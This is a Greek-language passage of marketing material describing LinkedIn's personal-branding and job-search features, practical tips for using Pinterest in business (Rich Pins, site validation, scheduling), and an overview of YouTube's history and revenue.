Προσωπικό branding Όταν ένας χρήστης αποδέχεται μια πρόσκληση από έναν άλλο χρήστη, έχει μια σύνδεση πρώτου επιπέδου- ο χρήστης συνδέεται έμμεσα με τις συνδέσεις του άλλου χρήστη με αυτό που το LinkedIn ονομάζει συνδέσεις δεύτερου και τρίτου επιπέδου. Το LinkedIn είναι ιδιαίτερα κατάλληλο για την προσωπική επωνυμία, η οποία, σύμφωνα με τη Sandra Long, συνεπάγεται την "ενεργή διαχείριση της εικόνας και της μοναδικής αξίας του ατόμου", ώστε να τοποθετηθεί για ευκαιρίες σταδιοδρομίας. Η σύμβουλος σταδιοδρομίας Pamela Green περιγράφει την προσωπική μάρκα ως τη "συναισθηματική εμπειρία που θέλετε να έχουν οι άνθρωποι ως αποτέλεσμα της αλληλεπίδρασης μαζί σας" και το προφίλ στο LinkedIn είναι μια πτυχή αυτής της εμπειρίας Μια αντίθετη έκθεση προτείνει ότι η προσωπική μάρκα είναι "μια δημόσια προβαλλόμενη προσωπικότητα, που παρουσιάζεται στο LinkedIn, το Twitter και άλλα δίκτυα, η οποία προβάλλει την τεχνογνωσία και προωθεί νέες συνδέσεις". Το LinkedIn επιτρέπει στους επαγγελματίες να δημιουργήσουν έκθεση για την προσωπική τους μάρκα εντός του ίδιου του ιστότοπου καθώς και στον Παγκόσμιο Ιστό στο σύνολό του. Με ένα εργαλείο που το LinkedIn ονομάζει Profile Strength Meter, ο ιστότοπος ενθαρρύνει τους χρήστες να προσφέρουν αρκετές πληροφορίες στο προφίλ τους για να βελτιστοποιήσουν την προβολή τους από τις μηχανές αναζήτησης. Μπορεί να ενισχύσει την παρουσία ενός χρήστη στο LinkedIn αν ανήκει σε επαγγελματικές ομάδες του ιστότοπου. Ο ιστότοπος δίνει τη δυνατότητα στους χρήστες να προσθέσουν βίντεο στο προφίλ τους. Ορισμένοι χρήστες προσλαμβάνουν έναν επαγγελματία φωτογράφο για τη φωτογραφία του προφίλ τους. Στο προφίλ κάποιου μπορούν να προστεθούν παρουσιάσεις βίντεο. Οι δυνατότητες του LinkedIn επεκτείνονται τόσο γρήγορα που έχει αναπτυχθεί μια μικρή βιομηχανία εξωτερικών συμβούλων που βοηθούν τους χρήστες να περιηγηθούν στο σύστημα. Ιδιαίτερη έμφαση δίνεται στη βοήθεια των χρηστών με το προφίλ τους στο LinkedIn. Στο LinkedIn δεν κρύβεται κανείς στο μακρύ χορτάρι. Το νούμερο ένα λάθος που κάνουν οι άνθρωποι στο προφίλ είναι να μην έχουν φωτογραφία. Τον Οκτώβριο του 2012, το LinkedIn εγκαινίασε το πρόγραμμα LinkedIn Influencers, το οποίο περιλαμβάνει παγκόσμιους ηγέτες σκέψης που μοιράζονται τις επαγγελματικές τους γνώσεις με τα μέλη του LinkedIn. Από τον Μάιο του 2016, υπάρχουν 750+ Influencers. Το πρόγραμμα είναι μόνο με προσκλήσεις και περιλαμβάνει ηγέτες από διάφορους κλάδους, όπως οι”Richard Branson, Narendra Modi, Arianna Huffington, Greg McKeown, Rahm Emanuel, Jamie Dimon, Martha Stewart, Deepak Chopra, Jack Welch και Bill Gates.

Τον Δεκέμβριο του 2011, το LinkedIn ανακοίνωσε ότι επεκτείνει τις δημοσκοπήσεις στις ομάδες. Τον Νοέμβριο του 2013, το LinkedIn ανακοίνωσε την προσθήκη των σελίδων βιτρίνας στην πλατφόρμα. Το 2014, το LinkedIn ανακοίνωσε ότι πρόκειται να καταργήσει τις σελίδες προϊόντων και υπηρεσιών ανοίγοντας τον δρόμο για μεγαλύτερη εστίαση στις σελίδες βιτρίνας. Αναζήτηση εργασίας Το LinkedIn χρησιμοποιείται ευρέως από άτομα που αναζητούν εργασία και εργοδότες. Σύμφωνα με τον Jack Meyer ο ιστότοπος έχει γίνει η "κορυφαία ψηφιακή πλατφόρμα" για τους επαγγελματίες για να δικτυωθούν online. Στην Αυστραλία, η οποία έχει περίπου δώδεκα εκατομμύρια εργαζόμενους επαγγελματίες, δέκα εκατομμύρια από αυτούς είναι στο LinkedIn, σύμφωνα με την Αναστασία Σαντορένιο, γεγονός που υποδηλώνει ότι η πιθανότητα ήταν μεγάλη ότι ο "μελλοντικός εργοδότης κάποιου είναι πιθανώς στον ιστότοπο. Σύμφωνα με μια εκτίμηση που βασίζεται σε παγκόσμια στοιχεία, 122 εκατομμύρια χρήστες πήραν συνεντεύξεις για δουλειά μέσω του LinkedIn και 35 εκατομμύρια προσλήφθηκαν από μια online σύνδεση στο LinkedIn. Το LinkedIn επιτρέπει επίσης στους χρήστες να ερευνούν εταιρείες, μη κερδοσκοπικούς οργανισμούς και κυβερνήσεις για τις οποίες μπορεί να ενδιαφέρονται να εργαστούν. Πληκτρολογώντας το όνομα μιας εταιρείας ή ενός οργανισμού στο πλαίσιο αναζήτησης, εμφανίζονται αναδυόμενα δεδομένα σχετικά με την εταιρεία ή τον οργανισμό. Τέτοια δεδομένα μπορεί να περιλαμβάνουν την αναλογία των γυναικών προς τους άνδρες υπαλλήλους, το ποσοστό των πιο κοινών τίτλων/θέσεων που κατέχονται στην εταιρεία, την τοποθεσία της έδρας και των γραφείων της εταιρείας, καθώς και έναν κατάλογο των σημερινών και πρώην εργαζομένων. Τον Ιούλιο του 2011, το LinkedIn εγκαινίασε μια νέα λειτουργία που επιτρέπει στις εταιρείες να συμπεριλάβουν ένα κουμπί "Apply with”LinkedIn" στις σελίδες καταχώρησης θέσεων εργασίας. Το LinkedIn μπορεί να βοηθήσει τις μικρές επιχειρήσεις να συνδεθούν με πελάτες. Κατά την ορολογία του ιστότοπου, δύο χρήστες έχουν μια "σύνδεση πρώτου βαθμού" όταν ο ένας αποδέχεται μια πρόσκληση από τον άλλο. Τα άτομα που συνδέονται με τον καθένα από αυτούς είναι "συνδέσεις δεύτερου βαθμού" και τα άτομα που συνδέονται με τις συνδέσεις δεύτερου βαθμού είναι "συνδέσεις τρίτου βαθμού". Αυτό διαμορφώνει το εσωτερικό δίκτυο LinkedIn ενός χρήστη, καθιστώντας το προφίλ του χρήστη πιο πιθανό να εμφανίζεται σε αναζητήσεις.

Το Profinder του LinkedIn είναι μια αγορά όπου οι ελεύθεροι επαγγελματίες μπορούν (έναντι μηνιαίας συνδρομής) να υποβάλλουν προσφορές για προτάσεις έργων που υποβάλλονται από ιδιώτες και μικρές επιχειρήσεις . Το 2017, είχε περίπου 60.000 ελεύθερους επαγγελματίες σε περισσότερους από 140 τομείς υπηρεσιών, όπως η φωτογράφηση κεφαλιών, η τήρηση βιβλίων ή η υποβολή φορολογικών δηλώσεων. Η προϋπόθεση για τη σύνδεση με κάποιον έχει μετατοπιστεί σημαντικά τα τελευταία χρόνια. Πριν από την έναρξη της νέας διεπαφής του 2017, το LinkedIn ενθάρρυνε τις συνδέσεις μεταξύ ανθρώπων που είχαν ήδη εργαστεί μαζί, σπουδάσει μαζί, συνεργαστεί επιχειρηματικά ή κάτι παρόμοιο. Από το 2017 αυτό το βήμα έχει αφαιρεθεί από τη διαδικασία αίτησης σύνδεσης - και οι χρήστες έχουν τη δυνατότητα να συνδεθούν με έως και 30.000 άτομα. Από το 2015 το LinkedIn δημοσιεύει ετήσιες κατατάξεις των Top Voices στην πλατφόρμα, αναγνωρίζοντας "τα μέλη που δημιούργησαν τη μεγαλύτερη δέσμευση και αλληλεπίδραση με τις αναρτήσεις τους". Οι λίστες του 2020 περιλάμβαναν 14 κατηγορίες βιομηχανιών, από την επιστήμη των δεδομένων έως τον αθλητισμό, καθώς και 14 λίστες χωρών, που εκτείνονται από την Αυστραλία έως την Ιταλία. Το LinkedIn δημοσιεύει επίσης ετήσιες κατατάξεις με βάση τα δεδομένα των κορυφαίων νεοφυών επιχειρήσεων σε περισσότερες από δώδεκα χώρες, με βάση "την αύξηση της απασχόλησης, το ενδιαφέρον για εργασία από δυνητικούς υποψηφίους, την εμπλοκή και την προσέλκυση κορυφαίων ταλέντων". Η έκθεση για τις κορυφαίες νεοφυείς επιχειρήσεις στις ΗΠΑ το 2020 κατέταξε στις τρεις πρώτες θέσεις τις Better.com, Doordash και Robinhood.

Διαφήμιση και έρευνα επί πληρωμή Το 2008 το LinkedIn εγκαινίασε το LinkedIn DirectAds ως μια μορφή χορηγούμενης διαφήμισης. Τον Οκτώβριο του 2008, το LinkedIn αποκάλυψε σχέδια να ανοίξει το κοινωνικό του δίκτυο 30 εκατομμυρίων επαγγελματιών παγκοσμίως ως πιθανό δείγμα για έρευνα μεταξύ επιχειρήσεων. Δοκιμάζει ένα πιθανό μοντέλο εσόδων από το κοινωνικό δίκτυο έρευνα που σε ορισμένους φαίνεται πιο ελπιδοφόρο από τη διαφήμιση. Στις 23 Ιουλίου 2013, το LinkedIn ανακοίνωσε την υπηρεσία διαφημίσεων Sponsored Updates. Ιδιώτες και εταιρείες μπορούν πλέον να πληρώνουν μια αμοιβή για να έχουν το LinkedIn να χορηγεί το περιεχόμενό τους και να το διαδίδει στη βάση των χρηστών τους. Αυτός είναι ένας

συνηθισμένος τρόπος για τους ιστότοπους κοινωνικής δικτύωσης, όπως το LinkedIn, να παράγουν έσοδα.

Πλατφόρμα δημοσίευσης Το 2015, το LinkedIn πρόσθεσε ένα εργαλείο ανάλυσης στην πλατφόρμα δημοσίευσης. Το εργαλείο επιτρέπει στους συγγραφείς να παρακολουθούν καλύτερα την επισκεψιμότητα που λαμβάνουν οι δημοσιεύσεις τους.

Pinterest Το Pinterest είναι ένα κοινωνικό δίκτυο που επιτρέπει στους χρήστες να μοιράζονται οπτικά και να ανακαλύπτουν νέα ενδιαφέροντα, αναρτώντας (γνωστό ως "καρφίτσωμα") εικόνες ή βίντεο στους δικούς τους πίνακες ή σε πίνακες άλλων (δηλαδή σε μια συλλογή από "καρφίτσες", συνήθως με ένα κοινό θέμα) και

να περιηγούνται σε αυτά που έχουν

καρφιτσώσει άλλοι χρήστες. Μπορείτε να δημιουργήσετε έναν λογαριασμό, να συνδεθείτε και να κάνετε like στις αναρτήσεις άλλων χρηστών ή να ξεκινήσετε τις δικές σας. Χρησιμοποιώντας έναν οπτικό προσανατολισμό, το κοινωνικό δίκτυο επικεντρώνεται σε μεγάλο βαθμό στην ”του τρόπου ζωής ενός ατόμου, επιτρέποντάς σας να μοιραστείτε τις προτιμήσεις και τα ενδιαφέροντά σας με άλλους και να ανακαλύψετε αυτά των ομοϊδεατών σας. Πρόσφατα μάλιστα πρόσθεσαν στην εφαρμογή τους και τη λειτουργία "Pinterest Lens". Το Lens σας επιτρέπει να ανακαλύψετε ιδέες εμπνευσμένες από οτιδήποτε στρέφετε την κάμερα του Pinterest. Χρησιμοποιώντας έναν οπτικό προσανατολισμό, το κοινωνικό δίκτυο επικεντρώνεται σε μεγάλο βαθμό στην έννοια του τρόπου ζωής ενός ατόμου, επιτρέποντάς σας να μοιράζεστε τις προτιμήσεις και τα ενδιαφέροντά σας με άλλους και να ανακαλύπτετε αυτά των ομοϊδεατών σας. Για να χρησιμοποιήσετε το "Lens": Ανοίξτε την εφαρμογή Pinterest στην κινητή σας συσκευή και πατήστε την κάμερα στη γραμμή αναζήτησης. Τσιμπήστε για ζουμ ή πατήστε σε ένα συγκεκριμένο αντικείμενο για να εστιάσετε την κάμερά σας. Πατήστε το κουμπί για να τραβήξετε μια φωτογραφία ή να επιλέξετε μια φωτογραφία από τη συλλογή σας. Εξερευνήστε και ανακαλύψτε ιδέες. Ο φακός είναι ένα εξαιρετικό πρόσθετο χαρακτηριστικό στην εφαρμογή Pinterest. Στόχος του Pinterest

είναι να "συνδέσει όλους στον κόσμο μέσω των πραγμάτων που βρίσκουν ενδιαφέροντα". Οι άνθρωποι μπορούν είτε να ανεβάσουν μια εικόνα από τον υπολογιστή τους είτε να καρφιτσώσουν πράγματα που βρίσκουν στο διαδίκτυο χρησιμοποιώντας το σελιδοδείκτη Pinterest. Όπως συμβαίνει με τα περισσότερα άλλα κοινωνικά δίκτυα, στο Pinterest οι χρήστες μπορούν να εκτελούν τις συνήθεις λειτουργίες κοινωνικής δικτύωσης. Όπως το ”ακολουθούν τους φίλους τους, να κάνουν like και να σχολιάζουν τους πίνακες άλλων χρηστών, να επανατοποθετούν περιεχόμενο στους δικούς τους πίνακες, να μοιράζονται τα μέσα άλλων στο Facebook και το Twitter ή μέσω email, να εκτελούν αναζήτηση, ακόμα και να ενσωματώνουν μεμονωμένες καρφίτσες στον ιστότοπο ή το ιστολόγιό τους. Το Pinterest γνώρισε απίστευτη ανάπτυξη το 2013. Για πρώτη φορά, ξεπέρασε το email ως μέσο διαμοιρασμού και ξεπέρασε το Facebook, κάτι που πολλοί δεν πίστευαν ότι θα ήταν καν δυνατό. Πηγαίνοντας προς το 2020, το Pinterest ανέφερε ότι έχει πάνω από 320 εκατομμύρια μηνιαίους ενεργούς χρήστες παγκοσμίως. Και από σήμερα τα δημογραφικά στοιχεία του Pinterest περιλαμβάνουν πάνω από 40% άνδρες και είναι το τρίτο μεγαλύτερο κοινωνικό δίκτυο στο διαδίκτυο. Δεν είναι μόνο η μαγειρική και η διακόσμηση. Το Pinterest”φάνηκε αρχικά να ξεκινά με ενδιαφέροντα για τις τέχνες του σπιτιού, όπως η μαγειρική, η διακόσμηση, η μόδα, η κηπουρική και άλλα θέματα που ενδιαφέρουν τις γυναίκες. Αλλά με την πάροδο του χρόνου διαφοροποίησε τη βάση χρηστών του σε όλα τα φύλα και τις ηλικιακές ομάδες. Ενδιαφέρον παρουσιάζει το γεγονός ότι το Pinterest είναι πλέον η ταχύτερα

αναπτυσσόμενη

πλατφόρμα

πολυμέσων

για

τον

online

διαμοιρασμό

περιεχομένου, σύμφωνα με μια νέα έκθεση της υπηρεσίας διανομής online περιεχομένου ShareThis. Η έκθεση ανέλυσε τα εκατομμύρια (σήμερα μάλλον ένα δισεκατομμύριο και πλέον) μηνιαίες κοινοποιήσεις που έγιναν μέσω του ShareThis το τρίτο τρίμηνο του 2013 σε περισσότερα από 120 κανάλια κοινωνικής δικτύωσης και δύο εκατομμύρια ιστότοπους. Και ανακάλυψε ότι η κοινοποίηση περιεχομένου στο Pinterest αυξήθηκε κατά 19,2% το τελευταίο τρίμηνο του 2013 και η κοινοποίηση στο LinkedIn αυξήθηκε κατά 15,1%. Στο Facebook η κοινοποίηση περιεχομένου αυξήθηκε κατά 14,7%, ενώ η κοινοποίηση στο Twitter μειώθηκε κατά 7,6%. Τα νέα δεδομένα προσφέρουν μια υπενθύμιση ότι οι επιχειρήσεις θα πρέπει να κοιτάζουν πέρα από τα προφανή κανάλια κοινωνικής δικτύωσης όταν διαχειρίζονται την προβολή τους στα μέσα κοινωνικής δικτύωσης, αναφέρει ο διευθύνων σύμβουλος του ShareThis Kurt

Abrahamson σε μια ανακοίνωση: "Όσο περισσότερο οι διαφημιστές κατανοούν πώς οι καταναλωτές χρησιμοποιούν όλα τα κοινωνικά κανάλια -πέρα από το Facebook και το Twitter τόσο πιο αποτελεσματικά μπορούν να χρησιμοποιήσουν τα κοινωνικά μέσα για να ενισχύσουν και να βελτιώσουν τις διαφημίσεις, και τις εκστρατείες".

Pinterest για επιχειρήσεις Οι επιχειρήσεις και οι ιστότοποι αγορών μπορούν να επωφεληθούν από αυτό το κύμα για να προωθήσουν τα προϊόντα και τις υπηρεσίες τους και να αυξήσουν την καταναλωτική τους βάση ως μέρος του προγράμματος μάρκετινγκ τους. Πολλές επιχειρήσεις βλέπουν κέρδη σταθερά, μήνες στη σειρά. Το Pinterest, ένα οπτικό μέσο, δίνει στις επιχειρήσεις την ευκαιρία να σχεδιάσουν γραφικά για να προσελκύσουν τους καταναλωτές. Τα πολύχρωμα infographics, και τα οπτικά μέσα, που προωθούν προσφορές, νέα προϊόντα και πολλά άλλα, μπορούν να παράγουν ποιοτικές πωλήσεις και επισκεψιμότητα στην ιστοσελίδα σας. Η ανάρτηση φωτογραφιών των υπαλλήλων θα μπορούσε επίσης να βοηθήσει τους πελάτες να ταυτιστούν με τους ανθρώπους που εργάζονται στην εταιρεία, βάζοντας ένα πρόσωπο σε ένα όνομα και παρέχοντας περισσότερες πληροφορίες που οι δυνητικοί πελάτες ή πελάτες αγαπούν να γνωρίζουν.

Δημιουργήστε συζητήσεις Οι ιδιοκτήτες μικρών επιχειρήσεων μπορούν επίσης να βοηθήσουν στη δημιουργία συνομιλιών σχετικά με τις μάρκες τους στο διαδίκτυο, προσθέτοντας κουμπιά "κοινής χρήσης" σε κάθε σελίδα των ιστοτόπων τους. Αυτά τα ψηφιακά εικονίδια επιτρέπουν στους επισκέπτες του ιστότοπου να κάνουν κλικ και να μοιραστούν ένα κομμάτι περιεχομένου μέσω ενός συγκεκριμένου πίνακα Pinterest και προσθέτουν στην εμπειρία χρήστη του ιστότοπού σας. Σύμφωνα με όλα αυτά, σήμερα, το Pinterest, όπως και άλλα κανάλια κοινωνικής δικτύωσης, μπορεί να βοηθήσει στη δημιουργία αναγνωρισιμότητας της μάρκας και ενδεχομένως να διευκολύνει τους οδηγούς του ιστότοπου, αλλά εξακολουθούμε να πιστεύουμε ότι, για τις περισσότερες επιχειρήσεις, οι μηχανές αναζήτησης μπορούν να προσφέρουν καλύτερη απόδοση επένδυσης και άμεση μετατροπή των επισκεπτών σε πελάτες.

Κάντε το Pinterest να λειτουργήσει για την επιχείρησή σας Αν ψάχνετε για μερικές σίγουρες τεχνικές μάρκετινγκ στο Pinterest, τότε βρίσκεστε στο σωστό μέρος. Έως και το 50% των ανθρώπων που βλέπουν ένα προϊόν που προωθείται στο Pinterest και κάνουν μια αγορά! Έτσι, για τους ιδιοκτήτες επιχειρήσεων, έστω και μία εικόνα σε αυτή την πλατφόρμα κοινωνικής δικτύωσης αξίζει να επενδύσετε το χρόνο και την προσπάθειά σας. Ας βουτήξουμε σε αυτές τις στρατηγικές! 1. Δημιουργήστε έναν επαγγελματικό λογαριασμό στο Pinterest Πρώτα απ' όλα, πρέπει να δημιουργήσετε έναν επαγγελματικό λογαριασμό στο Pinterest. Στη συνέχεια, βεβαιωθείτε ότι το προφίλ σας είναι βελτιστοποιημένο ώστε να αντικατοπτρίζει τον τόνο της φωνής και την αισθητική της μάρκας σας. Κορυφαία συμβουλή: Βεβαιωθείτε ότι το βιογραφικό σας είναι γεμάτο με πολλές σχετικές λέξεις-κλειδιά, ενώ παράλληλα αντικατοπτρίζει τη φωνή της εταιρείας σας. Επωνυμία του λογαριασμού σας Από την αρχική τροφοδοσία σας, προσθέστε ένα εξώφυλλο πίνακα στο προφίλ σας. Αυτά είναι καταπληκτικά για να κάνετε τον λογαριασμό σας στο Pinterest ”συνεκτικό με το εμπορικό σας σήμα. Θα πρέπει επίσης να επιλέξετε τίτλους πινάκων φιλικούς προς την αναζήτηση. Δημιουργήστε έναν πίνακα και προσπαθήστε να δημιουργήσετε σύντομους και σύντομους όρους που οι άνθρωποι αναζητούν συχνά. Στη συνέχεια, μπορείτε να χρησιμοποιήσετε την ενότητα περιγραφής του πίνακα για να εισάγετε περισσότερες πληροφορίες, λέξεις-κλειδιά και hashtags. 2. Βελτιστοποιήστε τις εικόνες της ιστοσελίδας σας Πρέπει να διευκολύνετε όσο το δυνατόν περισσότερο τους επισκέπτες του ιστοτόπου σας να αποθηκεύσουν μια εικόνα από τις ιστοσελίδες σας στους πίνακές τους στο Pinterest.

Όσο πιο εύκολη είναι η εμπειρία, τόσο περισσότερο μπορείτε να

υπολογίζετε ότι οι άνθρωποι θα επισκεφθούν τον ιστότοπό σας για να μοιραστούν μια εικόνα από την αρχική σελίδα ή τον ιστότοπό σας. Μπορείτε να το κάνετε αυτό εγκαθιστώντας το "κουμπί αποθήκευσης" του Pinterest, ”ώστε να επιτρέπετε στους χρήστες να αποθηκεύουν (όταν είναι συνδεδεμένοι) στον λογαριασμό τους στο Pinterest, με μερικά μόνο απλά κλικ. Πλούσιες καρφίτσες

Επί του παρόντος, υπάρχουν 3 διαφορετικοί τύποι. ❖ Product Rich Pins - Αυτά περιλαμβάνουν την τιμολόγηση, τη διαθεσιμότητα και τις πληροφορίες για το προϊόν. ❖ Recipe Rich Pins - Αυτά προσθέτουν τον τίτλο της συνταγής, το μέγεθος της μερίδας, το χρόνο μαγειρέματος, τον κατάλογο των συστατικών και τις οδηγίες. ❖ Article Rich Pins - Περιλαμβάνουν τον τίτλο, την περιγραφή και τον συγγραφέα μιας ανάρτησης ιστολογίου ή ενός άρθρου. Πλούσιες καρφίτσες για επιχειρήσεις Χρησιμοποιήστε πλούσιες καρφίτσες. Αυτό εμφανίζει πληροφορίες τιμολόγησης και τις καθιστά ιδανικές αν διατηρείτε ένα κατάστημα ηλεκτρονικού εμπορίου. Ή, ανω διαχειρίζεστε ένα ιστολόγιο, οι "καρφίτσες άρθρων" είναι ό,τι πρέπει για την προώθηση της επισκεψιμότητας. Αν είστε blogger τροφίμων, θα περιλαμβάνουν τη συνταγή και τις οδηγίες. Χρησιμοποιήστε κάθετες εικόνες και κλιμακώστε τις, ώστε να διαθέτουν πλάτος 600 pixel και αναλογία διαστάσεων 2:3 ή 1:3,5. Αν δυσκολεύεστε να δημιουργήσετε εικόνες φιλικές προς το Pinterest, χρησιμοποιήστε το Canva. Πρόκειται για έναν δωρεάν πόρο που προσφέρει έναν τόνο από προκατασκευασμένα πρότυπα που είναι υπέροχα για τους marketers του Pinterest. Αν θέλετε να πάτε τις καρφίτσες των προϊόντων σας ένα βήμα παραπέρα, μπορείτε να συγχρονίσετε το ηλεκτρονικό σας κατάστημα με τον λογαριασμό σας στο Pinterest. Με αυτόν τον τρόπο, όταν οι χρήστες αποθηκεύουν την καρφίτσα σας, μπορούν να κάνουν "Προσθήκη στην τσάντα" και να πληρώσουν για τα προϊόντα σας χωρίς καν να φύγουν από το Pinterest. 3. Εφαρμογή για Rich Pins Μπορείτε να χρησιμοποιήσετε τα Rich Pins μόνο αν έχετε επικυρωμένο ιστότοπο. Αυτή η διαδικασία επικύρωσης δεν γίνεται αυτόματα. Αντ' αυτού, θα πρέπει να κάνετε αίτηση κάνοντας τα εξής: Προσθέστε τον κωδικό του Pinterest στον ιστότοπό σας. Μπορείτε να χρησιμοποιήσετε το πρόσθετο Yoast SEO για να το κάνετε αυτό, αυτή η εφαρμογή σας επιτρέπει να προσθέσετε μια μετα-κλειδί Pinterest”καθώς και τη δυνατότητα αντιγραφής και επικόλλησης του απαραίτητου κώδικα από το Pinterest. Μόλις το κάνετε αυτό, επιτρέπετε στο Pinterest να ελέγξει τη νομιμότητα

του ιστότοπού σας. Επικυρώστε τον ιστότοπό σας στο Pinterest. Για να το κάνετε αυτό, μεταβείτε στο εργαλείο επικύρωσης του Pinterest. Αυτό όχι μόνο σας δίνει μια προεπισκόπηση του pin σας, αλλά σας δίνει επίσης τη δυνατότητα να κάνετε αίτηση για rich pins. Εάν η αίτηση είναι επιτυχής, θα λάβετε ένα μήνυμα ηλεκτρονικού ταχυδρομείου από το Pinterest που θα σας ενημερώνει ότι τα Rich Pins σας έχουν ενεργοποιηθεί. Θα πρέπει να σημειώσετε: αυτό μπορεί να διαρκέσει έως και μία εβδομάδα, οπότε μην ανησυχείτε αν δεν λάβετε αμέσως ένα email. Είναι μια αρκετά απλή διαδικασία και αξίζει να την κάνετε. Είναι βέβαιο ότι θα αυξήσετε τη δέσμευση όταν αρχίσετε να χρησιμοποιείτε rich pins.

Μείνετε ενεργός Τώρα έχετε τα πάντα έτοιμα και λειτουργικά- στη συνέχεια, πρέπει να παραμείνετε ενεργοί στο Pinterest. Θα πρέπει να προσθέτετε συνεχώς περιεχόμενο στο προφίλ σας και να αξιολογείτε τι αναζητούν οι χρήστες. Με αυτόν τον τρόπο μπορείτε να παρέχετε το καλύτερο δυνατό περιεχόμενο για το κοινό σας. Για να κάνετε το εμπορικό σήμα σας αξιομνημόνευτο, στοχεύστε στο να καρφιτσώνετε τουλάχιστον πέντε φορές την ημέρα. Μπορείτε να το κάνετε πιο εύκολο χρησιμοποιώντας μια εφαρμογή προγραμματισμού όπως το Buffer για να προγραμματίσετε τι θέλετε να καρφιτσώσετε και πότε. Θέλετε να κατανέμετε τη δραστηριότητά σας σε χρονικά διαστήματα. Δεν είναι καλό να δημοσιεύετε δέκα pins όλα μαζί. Όταν κατανέμετε το περιεχόμενό σας κατά τη διάρκεια της ημέρας, είναι πιο πιθανό να ασχοληθείτε με το κοινό σας. Με το να παραμένετε "ενεργός" στο Pinterest, εννοούμε επίσης ότι πρέπει να αναλύετε συνεχώς την αποτελεσματικότητα των τρεχουσών στρατηγικών σας. Χρησιμοποιήστε τα αναλυτικά στοιχεία του Pinterest για να δείτε ποια είναι τα πιο δημοφιλή pins σας. 4. Άλλα πράγματα που μπορείτε να κάνετε στο Pinterest Υπάρχουν μερικά άλλα πράγματα που μπορείτε να κάνετε για να μεγιστοποιήσετε τις προσπάθειές σας. Κατηγοριοποιήστε τους πίνακές σας: Όταν το κάνετε αυτό, διευκολύνετε τους χρήστες του Pinterest να βρίσκουν τις καρφίτσες σας. Αυτό δεν έχει ως αποτέλεσμα μόνο την αύξηση της εμπλοκής, αλλά μπορεί να κερδίσετε και μερικούς πιστούς οπαδούς. Βρείτε δημοφιλείς ομαδικούς πίνακες. Μπορείτε να χρησιμοποιήσετε έναν

πόρο όπως το PinGroupie για να εντοπίσετε αυτούς τους πίνακες και να συνεισφέρετε σε αυτές τις κοινότητες. Αυτό είναι φανταστικό για την προβολή της μάρκας σας. Προσθέστε το λογότυπό σας στο κάτω μέρος όλων των εικόνων σας. Αυτό συμβάλλει στην ενίσχυση της αναγνωρισιμότητας του εμπορικού σήματος.

Youtube

Το YouTube είναι μια αμερικανική διαδικτυακή πλατφόρμα ανταλλαγής βίντεο και κοινωνικής δικτύωσης με έδρα το Σαν Μπρούνο της Καλιφόρνια. Ξεκίνησε στις 14 Φεβρουαρίου 2005 από τους Steve Chen, Chad Hurley και Jawed Karim. Ανήκει στην Google”και είναι ο δεύτερος πιο επισκέψιμος ιστότοπος, μετά το Google Search. Το YouTube έχει περισσότερους από 2,5 δισεκατομμύρια μηνιαίους χρήστες, οι οποίοι παρακολουθούν συλλογικά περισσότερες από ένα δισεκατομμύριο ώρες βίντεο κάθε μέρα. Από τον Μάιο του 2019, βίντεο ανεβαίνουν με ρυθμό άνω των 500 ωρών περιεχομένου ανά λεπτό. Τον Οκτώβριο του 2006, 18 μήνες μετά την ανάρτηση του πρώτου βίντεο και 10 μήνες μετά την επίσημη έναρξή του, το YouTube εξαγοράστηκε από την Google έναντι 1,65 δισεκατομμυρίων δολαρίων. Η ιδιοκτησία του YouTube από την Google επέκτεινε το επιχειρηματικό μοντέλο του ιστότοπου, επεκτείνοντας από τη δημιουργία εσόδων μόνο από διαφημίσεις, στην προσφορά περιεχομένου επί πληρωμή, όπως ταινίες και αποκλειστικό περιεχόμενο που παράγεται από το YouTube. Προσφέρει επίσης το YouTube Premium, μια συνδρομητική επιλογή επί πληρωμή για την παρακολούθηση περιεχομένου χωρίς διαφημίσεις. Το YouTube και οι εγκεκριμένοι δημιουργοί συμμετέχουν στο πρόγραμμα AdSense της Google, το οποίο επιδιώκει τη

δημιουργία περισσότερων εσόδων και για τα δύο μέρη. Το YouTube ανέφερε έσοδα ύψους 19,8 δισεκατομμυρίων δολαρίων το 2020. Το 2021, τα ετήσια διαφημιστικά έσοδα του YouTube”αυξήθηκαν σε 28,8 δισεκατομμύρια δολάρια. Μετά την αγορά του από την Google, το YouTube έχει επεκταθεί πέρα από τον βασικό ιστότοπο σε εφαρμογές για κινητά, τηλεόραση δικτύου και δυνατότητα σύνδεσης με άλλες πλατφόρμες. Οι κατηγορίες βίντεο στο YouTube περιλαμβάνουν μουσικά βίντεο, βίντεο κλιπ, ειδήσεις, ταινίες μικρού μήκους, ταινίες μεγάλου μήκους, ντοκιμαντέρ, ηχογραφήσεις, τρέιλερ ταινιών, teaser, ζωντανές ροές, vlogs και άλλα. Το μεγαλύτερο μέρος του περιεχομένου παράγεται από ιδιώτες, συμπεριλαμβανομένων

συνεργασιών

μεταξύ

YouTubers

και

εταιρικών

χορηγών.

Καθιερωμένες εταιρείες μέσων ενημέρωσης, όπως η Disney, η Paramount και η Warner Bros”Discovery, έχουν επίσης δημιουργήσει και επεκτείνει τα εταιρικά τους κανάλια στο YouTube για να διαφημιστούν σε μεγαλύτερο κοινό. Το YouTube είχε έναν άνευ προηγουμένου κοινωνικό αντίκτυπο, επηρεάζοντας τη λαϊκή κουλτούρα, τις τάσεις του διαδικτύου και δημιουργώντας πολυεκατομμυριούχους διασημότητες. Παρ' όλη την ανάπτυξη και την επιτυχία του, το YouTube έχει δεχθεί πολλές επικρίσεις. Η κριτική για το YouTube περιλαμβάνει τη χρήση του ιστότοπου για τη διευκόλυνση της διάδοσης παραπληροφόρησης, ζητήματα πνευματικών δικαιωμάτων, συνήθεις παραβιάσεις της ιδιωτικής ζωής των χρηστών του, την παροχή δυνατότητας λογοκρισίας και την έκθεση σε κίνδυνο της ασφάλειας και της ευημερίας των παιδιών.

Περιεχόμενο

